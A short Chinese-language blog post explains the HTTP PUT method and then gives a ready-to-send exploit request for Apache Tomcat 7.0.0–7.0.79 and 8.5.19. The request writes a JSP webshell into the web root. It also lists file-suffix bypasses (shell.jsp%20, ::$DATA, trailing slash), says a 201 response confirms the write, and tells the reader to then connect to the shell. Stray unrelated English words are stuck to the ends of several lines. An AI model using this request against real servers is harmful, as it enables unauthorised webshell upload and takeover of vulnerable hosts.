PUT是http的一個請求方法shell
PUT的前提,是瞭解HTTP協議。下面給出HTTP - PUT的一個模板:app
PUT /test.txt HTTP/1.1 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: test.com:8080 hello world
發送請求後,訪問.../text.txt將輸出hello worldjsp
要注意以下幾個點:ide
① PUT方法是HTTP 1.1協議中才出現的。url
② HTTP協議對空格敏感,每行數據的結尾不能出現空格spa
③ HTTP頭部和數據中間要空一行,即HTTP頭部是以\r\n\r\n結尾的。code
④ 端口號直接跟在HOST後面orm
影響版本:blog
Tomcat版本:8.5.19 Apache Tomcat 7.0.0 - 7.0.79
直接發送如下數據包便可在Web根目錄寫入shell:ip
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell
shell那兒直接寫入jsp的馬,或者其餘語言對應寫對應的馬,請求頭參數可適當的根據實際狀況改動。
雖然Tomcat對文件後綴有必定檢測(不能直接寫jsp),但咱們使用一些文件系統的特性(如Linux下可用/
)來繞過了限制:
shell.jsp%20 shell.jsp::$DATA shell.jsp/
返回響應包的狀態碼爲201說明寫入成功。
而後根目錄跟上寫入的.jsp文件便可訪問。以後連馬。